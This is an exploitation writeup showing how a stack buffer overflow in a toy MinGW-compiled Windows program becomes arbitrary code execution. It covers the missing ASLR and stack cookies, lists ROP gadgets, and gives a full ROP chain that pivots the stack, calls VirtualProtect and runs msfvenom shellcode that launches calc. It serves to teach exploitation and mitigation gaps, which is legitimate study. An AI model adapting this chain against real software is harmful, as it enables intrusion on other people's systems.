When exploit mitigations are disabled on modern systems
Table of Contents
- Introduction
- Prerequisites:
- Vulnerable program:
- Vulnerability
- Analysis of the executable
- Exploitation
- Conclusion
Introduction
While experimenting with the Windows exploit mitigation policies, I noticed that MinGW-GCC does not enable most of the modern protections by default.
This post is more like a writeup, demonstrating an exploit that can be adapted to work on other vulnerable programs compiled with the same compiler, also, it does not require knowledge of the version of the Windows DLLs in use, or the virtual addresses where they are loaded.
Tested on Windows 10 Professional, version 1803
gcc version 8.3.0
(Rev2, Built by MSYS2 project), latest at the time I am writing this.
Prerequisites:
- Basics of buffer overflow vulnerabilities
- a basic understanding of Return Oriented Programming (ROP)
Vulnerable program:
Let’s take a very simple program:
#include <stdio.h>
#include <windows.h>
void vuln()
{
char name[60];
scanf("%s", &name);
printf("name = %s\n", name);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0); // disable stdout buffering
printf("--* BOF EXPERIMENT 1 *--\n");
vuln();
Sleep(1);
}
compile it with:
gcc prog.c -o prog.exe
The compiled executable can be found here.
Vulnerability
There is a clear vulnerability in the line scanf("%s", &name);
, because scanf doesn’t know the size of the name buffer, it can read more than 60
character, thus overflowing the stack.
This program, albeit vulnerable, shouldn’t be exploitable on modern systems, a lot of effort has been put to mitigate memory corruption vulnerabilities, but surprisingly, it is!
Analysis of the executable
First, let’s check the exploit mitigations enabled on the executable by running Process Explorer
(from sysinternals
).
Surprisingly, we notice that ASLR
is not enabled, and it’s the case for many other programs, this is already a big issue, this means that the imagebase of the main module (prog.exe) is fixed (and can be found in the headers).
DEP
is enabled.
By having a look at the import table, we also notice that the compiler has added imports we didn’t reference from our code, one particularly interesting import is VirtualProtect
, which is similar to the mprotect
syscall on Linux (it changes the protections of pages of memory).
Also, a quick check using x64dbg
reveals that SSP
protection is disabled.
reminder
(click to expand)
ASLR
stands for Address Space Layout Randomization, on Windows, it ensures that the module will be loaded at a dynamic virtual address that will change on each reboot.
DEP
stands for Data Execution Protection, it’s a protection that ensures that the data sections (like the stack) are not executable, it prevents the classical buffer overflow attacks that overwrite the return address with the address of the user-controlled data, and execute shellcode directly.
SSP
(for Stack Smashing Protector) is a protection that aims to detect buffer overflows, each function starts by saving a random value (a cookie) on the stack right next to its saved base pointer, and when it’s about to return, it checks if that value has changed, when a buffer overflow occurs, if the attacker doesn’t know that random value, any stack overflow will be detected.
Exploitation
Initial plan
Let’s start by causing a crash, and finding the offset to the return address.
We will use pattern_create
and pattern_offset
from metasploit-framework
.
ruby pattern_create.rb 200
=> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
ruby pattern_offset.rb "Ac4Ac5Ac"
=> 72
okay, return address at offset 72
, let’s elaborate an exploit plan.
First, we don’t know how much memory we have on the stack to read our payload (rsp
might leave the stack region while reading our payload), in order to make our exploit more reliable, we will scanf
on a region that is -RW
(.bss
section for example), and then we will pivot the stack (make rsp
point to that region instead).
Then, we will return to VirtualProtect
to make sections on the main module ERW
.
Finally, we will read our shellcode to the ERW
memory, and we will jump to it.
Doing this is not straightforward, as DEP
is enabled, we cannot execute our own code, we are obliged to reuse the existing code in the application, this is where ROP comes into play.
Searching for ROP gadgets in the application
We will use rp++
to search for ROP gadgets in the .text
section of the main module.
rp++ -f prog.exe -r 4 --unique
The gadgets we find particularly interesting are the following:
Address | Gadget | Desired Effect |
---|---|---|
0x004019cf | pop rax ; ret |
Set rax to any value |
0x00402a1d | test eax, eax ; cmovne rdx, r8 ; mov rax, rdx ; add rsp, 0x28 ; ret |
set rax = rdx = r8 |
0x004010a4 | xor r8, rax ; add rsp, 0x28 ; ret |
set r8 = r8 ^ rax |
0x00402bc0 | pop rcx ; ret |
set rcx to any value |
0x004010a7 | add rsp, 0x28 ; ret |
clean shadow space |
0x0040172c | pop rsp ; ret |
pivot the stack |
0x00402353 | jmp qword [rax] | jmp to what a pointer points to |
reminder
(click to expand)
ROP
(Return Oriented Programming), is an exploitation technique commonly used to bypass DEP
, since you can’t execute shellcode directly, you carefully choose some instruction sequences that generally finish with ret
or jmp
from the .text
section such that when you execute them sequentially, you get the effect you want, these sequences are called gadgets.
The calling convention in use is __fastcall
, first four arguments are passed in rcx
,rdx
,r8
,r9
, four qwords of shadowspace must also be allocated on the stack prior to the call (we will be using the gadget at 0x004010a7
to deallocate the shadowspace, because the function will not clean the stack for us).
Implementing the exploit
I split the exploit in multiple parts, to make it easier to follow.
Let’s set some variables that will act as parameters in our payload.
fake_stack = 0x407100; # in the .bss section
jmp_scanf = 0x402bf8; # trampoline jmp to scanf
virtualprotect_ptr = 0x408294; # address of the pointer to VirtualProtect that is in the import table
I am representing the payload as an array of qwords, converting the array to a payload string is simple (refer to the whole exploit code for more informations).
Part1 - Initial Buffer overflow, stack pivoting
Because some gadgets end with add rsp, 0x28;
, we will follow them with [ 0 ] * (0x28 / 8)
(that is, 0x28/8=5 qwords), so that we get to the next gadget on the chain after executing them.
# first thing to do : scanf("%s", fake_stack); rsp = fake_stack
part1 = [ 0x6161616161616161 ] * (72/8) # 72 bytes (72/8 qwords) to get to the return address
part1 += [ 0x004019cf, 0xdeadbeefdeadbeef, 0x00402a1d ] + [ 0 ] * (0x28/8) # set rax = r8;
part1 += [ 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set r8 = 0
part1 += [ 0x004019cf, fake_stack, 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set rax = fake_stack, set r8=fake_stack
part1 += [ 0x00402a1d ] + [ 0 ] * (0x28 / 8) # set rdx = fake_stack
part1 += [ 0x00402bc0, 0x404000, jmp_scanf, 0x004010a7, 0, 0, 0, 0, 0, 0x0040172c, fake_stack ] # set rcx = address of "%s"; scanf(rcx="%s",rdx=fake_stack); set rsp=fake_stack
# now, the stack will become fake_stack
Part2 - VirtualProtect the main module to ERW, scanf on ERW memory, and jump to it:
One challenge we face here is that we have no gadget to control the r9
register, and we need it because VirtualProtect
takes 4
arguments (fourth argument is just a pointer that retrieves the old protections).
Using objdump
, and looking for instructions containing r9
, we find this sequence:
Let’s pick the gadget at 0x4027ff
, if we set rcx = 0;
and rax
such that dword[rax+0xc] == 0
and dword [rax+8] == 0;
, then it will have the effect : r9 = rax+0x28;
, finding such a value for rax is simple enough, especially in a section like the .bss
.
# next thing to do : VirtualProtect(0x401000, 0x11000, 7, any_writable_address)
part2 = [ 0x004019cf, 0x407400, 0x00402bc0, 0, 0x4027ff ] # set rax=0x407400; set rcx=0; set r9 = 0x407400 + 0x28
part2 += [ 0x004019cf, 0xdeadbeefdeadbeef, 0x00402a1d ] + [ 0 ] * (0x28/8); # set rax = r8;
part2 += [ 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set r8 = 0
part2 += [ 0x004019cf, 0x11000, 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set rax = 0x11000; set r8 = 0x11000
part2 += [ 0x00402a1d ] + [ 0 ] * (0x28 / 8) # set rdx = 0x11000
part2 += [ 0x004019cf, 0x11000^0x40, 0x004010a4] + [ 0 ] * (0x28 / 8) # set rax=0x11000^0x40; set r8 = r8^rax = 0x40
part2 += [ 0x00402bc0, 0x401000, 0x004019cf, virtualprotect_ptr, 0x00402353, 0x004010a7, 0, 0, 0, 0, 0 ] # set rcx=0x401000; set rax = virtualprotect_ptr; jmp [virtualprotect_ptr]
# now, 0x11000 bytes from 0x401000 should be ERW
# next thing to do : scanf("%s", 0x401000)
part2 += [ 0x004019cf, 0xdeadbeefdeadbeef, 0x00402a1d ] + [ 0 ] * (0x28/8); # set rax = r8;
part2 += [ 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set r8 = 0
part2 += [ 0x004019cf, 0x401000, 0x004010a4 ] + [ 0 ] * (0x28 / 8) # set rax = 0x401000; set r8 = 0x401000
part2 += [ 0x00402a1d ] + [ 0 ] * (0x28 / 8) # set rdx = 0x401000
part2 += [ 0x00402bc0, 0x404000, jmp_scanf, 0x00401000 ] # set rcx = address of "%s"; scanf(rcx="%s",rdx=0x401000); return to 0x401000
Part3 - Final shellcode
Great! now, we can run any shellcode we want, the only constraint is that it must not contain whitespace characters (because scanf will stop reading input if it encounters such characters).
Let’s just generate a shellcode that pops the Windows calculator with msfvenom (part of Metasploit Framework), -b
stands for bad chars, an encoder will be used to avoid these whitespace characters.
msfvenom -p windows/x64/exec CMD=calc.exe -f ruby -b "\x09\x0a\x0b\x0c\x0d\x20"
Putting it all together
The full exploit script is available here.
Conclusion
In the exploit, we have mostly used gadgets that should be present in every executable compiled with mingw-gcc
, the only gadgets specific to this executable are the ones reading input (using scanf
function), while programs differ in the way they read input, almost any stack buffer overflow can be turned into arbitary code execution using an approach similar to the one explained in this article.